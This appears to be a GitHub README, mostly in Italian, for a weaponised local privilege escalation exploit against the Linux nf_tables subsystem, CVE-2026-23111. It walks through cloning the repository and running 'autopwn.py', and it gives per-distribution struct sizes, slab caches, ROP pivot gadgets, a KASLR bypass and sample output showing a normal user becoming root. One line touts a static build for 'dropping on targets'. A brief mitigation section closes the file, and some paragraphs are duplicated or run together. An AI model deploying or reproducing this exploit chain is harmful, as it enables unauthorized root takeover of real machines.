
CVE-2026-23111 nf_tables catchall UAF — LPE non privilegiato per Linux 5.10-6.18. Exploit auto-adattivo con bypass di KASLR, lettura arbitraria del kernel e catena ROP. Supporta Debian, Ubuntu, RHEL, Fedora. C/Python/Rust + autopwn.
nf_tables catchall UAF → LPE senza privilegi. da utente a root sulla maggior parte dei kernel linux 5.10—6.18.
si adatta automaticamente al kernel di destinazione — rileva gli offset delle struct, risolve i simboli, trova i gadget ROP, determina la slab cache, genera l'exploit su misura, compila ed esegue.
nf_tables catchall UAF → LPE senza privilegi. un utente comune diventa root sulla maggior parte dei kernel linux 5.10—6.18.
si adatta automaticamente al kernel di destinazione — rileva gli offset delle struct, risolve i simboli, trova i gadget ROP, determina la slab cache, genera l'exploit su misura, compila ed esegue.


controllo invertito di genmask in nft_map_catchall_activate() (net/netfilter/nf_tables_api.c). durante l'abort della transazione, l'handler salta gli elementi catchall inattivi che necessitano di riattivazione e processa quelli attivi che non ne hanno bisogno. questo causa il decremento di chain->use senza un ripristino adeguato, consentendo DELCHAIN su una chain ancora referenziata — creando un UAF.
controllo invertito di genmask in nft_map_catchall_activate() (net/netfilter/nf_tables_api.c). durante l'abort della transazione, l'handler salta gli elementi catchall inattivi che necessitano di riattivazione e processa quelli attivi che non ne hanno bisogno. questo causa il decremento di chain->use senza un ripristino adeguato, consentendo DELCHAIN su una chain ancora referenziata — creando un UAF.
la condizione buggata:
// WRONG (actual code) — skips the elements that need reactivation
if (!nft_set_elem_active(ext, genmask))
continue;
// CORRECT (what it should be) — skips elements already active
if (nft_set_elem_active(ext, iter->genmask))
return 0;
seq_operations del nome di chain liberatocommit_creds(init_cred) tramite catena ROP con ritorno sicuro a userspace KPTI-awareunshare -rUn (user + network namespace)il bug è stato introdotto nella 6.1.36 (backport) ed è presente in diversi rami LTS:
questo copre praticamente tutte le principali distro linux enterprise distribuite tra il 2023 e il 2026.
git clone https://github.com/Knz-source/CVE-2026-23111-POC-noddlenpottato
cd CVE-2026-23111-POC-noddlenpottato
python3 autopwn.py
oppure passo dopo passo:
python3 checker.py --detailed # check if vulnerable / verifica se é vulneravel
python3 scripts/extract_offsets.py # grab kernel offsets / pega offsets do kernel
python3 scripts/find_gadgets.py # find ROP gadgets / encontra gadgets ROP
make # build the exploit / compila o exploit
./exploit # pop root
.
├── autopwn.py full auto — detect, extract, compile, exploit
├── checker.py vulnerability checker (version, modules, userns, BTF)
├── exploit_61.c base exploit (Debian 6.1.172 offsets, template for autopwn)
├── exploit/
│ ├── exploit.c C exploit
│ ├── exploit.py python wrapper with retry logic
│ └── exploit.rs rust port (compiles static with musl)
├── scripts/
│ ├── extract_offsets.py BTF/pahole offset extractor
│ ├── find_gadgets.py ROP gadget finder (objdump/nm)
│ ├── slab_check.sh slab cache analyzer
│ └── install_deps.sh dependency installer
├── img/ diagrams
├── Makefile build targets (C, Rust, deps)
├── EXPLOITATION.md deep dive into the 5-phase exploit chain
├── DEBUGGING.md step by step offset extraction and gadget hunting
└── CONSIDERATIONS.md edge cases, bypasses, pitfalls
sizeof(nft_chain) varia tra le build del kernel. una dimensione di spray sbagliata = fallimento silenzioso:
debian 6.1.172: 120 bytes → kmalloc-128
ubuntu 6.5.x: 136 bytes → kmalloc-192
ubuntu 6.8.x: 152 bytes → kmalloc-192
debian 5.15.x: 112 bytes → kmalloc-128
lo spray dei userdata DEVE usare la dimensione esatta della struct (non la dimensione della slab). autopwn.py gestisce tutto automaticamente tramite pahole.
il registro che contiene il puntatore a expr nel sito di chiamata eval() cambia tra le versioni del kernel:
| kernel | registro | gadget richiesto |
|---|---|---|
| 6.1.x (debian) | rbp | leave; jmp __x86_return_thunk |
| 6.5+ (ubuntu) | rbx | mov rsp, rbx; ret o push rbx; pop rsp; ret |
gadget sbagliato = panico del kernel immediato. verifica sempre smontando nft_do_chain.
i kernel moderni sostituiscono tutti i ret con jmp __x86_return_thunk. la ricerca dei gadget deve tenerne conto — non troverai pop rdi; ret, troverai pop rdi; jmp __x86_return_thunk.
# C (recommended — fastest, proven)
make
# Rust (static binary with musl — good for dropping on targets)
make rust
# install build deps
make deps
$ id
uid=1000(user) gid=1000(user)
$ ./exploit
[*] CVE-2026-23111 nftables UAF -> LPE
[+] chain freed (kmalloc-128) + name freed (kmalloc-32)
[pwn] kbase = 0xffffffff9a400000
[pwn] my_task found at 0xffff8e4a1c084190
[pwn] canary = 0x5c6fa95dca98e100
[pwn] commit_creds(init_cred) -> ROP triggered
[+] root
# id
uid=0(root) gid=0(root) groups=0(root)
| doc | descrizione |
|---|---|
| EXPLOITATION.md | walkthrough completo della catena di exploit con codice, EN/PT |
# update kernel to fixed version
apt upgrade linux-image-$(uname -r)
# or disable unprivileged user namespaces
sysctl -w kernel.unprivileged_userns_clone=0
# or blacklist nf_tables
echo 'install nf_tables /bin/true' >> /etc/modprobe.d/blacklist.conf
analisi originale della vulnerabilità dall'advisory di nf_tables. sviluppo completo della catena LPE, analisi della slab, adattamento multi-kernel, ricerca dei pivot gadget e tooling autopwn sviluppati in modo indipendente.
| intervallo di kernel | corretto in | distro interessate |
|---|
| 6.13 — 6.18.9 | 6.18.10 | fedora 41+, arch (rolling) |
| 6.7 — 6.12.69 | 6.12.70 | ubuntu 24.04/24.10, fedora 39/40 |
| 6.1.36 — 6.1.162 | 6.1.163 | debian 12 (bookworm), RHEL 9 derivatives |
| 5.15.121 — 5.15.199 | 5.15.200 | ubuntu 22.04 LTS, debian 11 backports |
| 5.10.188+ | various | debian 11 (bullseye), RHEL 8 derivatives |
| come estrarre ogni offset e gadget per il tuo kernel, EN/PT |
| CONSIDERATIONS.md | casi limite, bypass, container, SMEP/SMAP, rilevamento, EN/PT |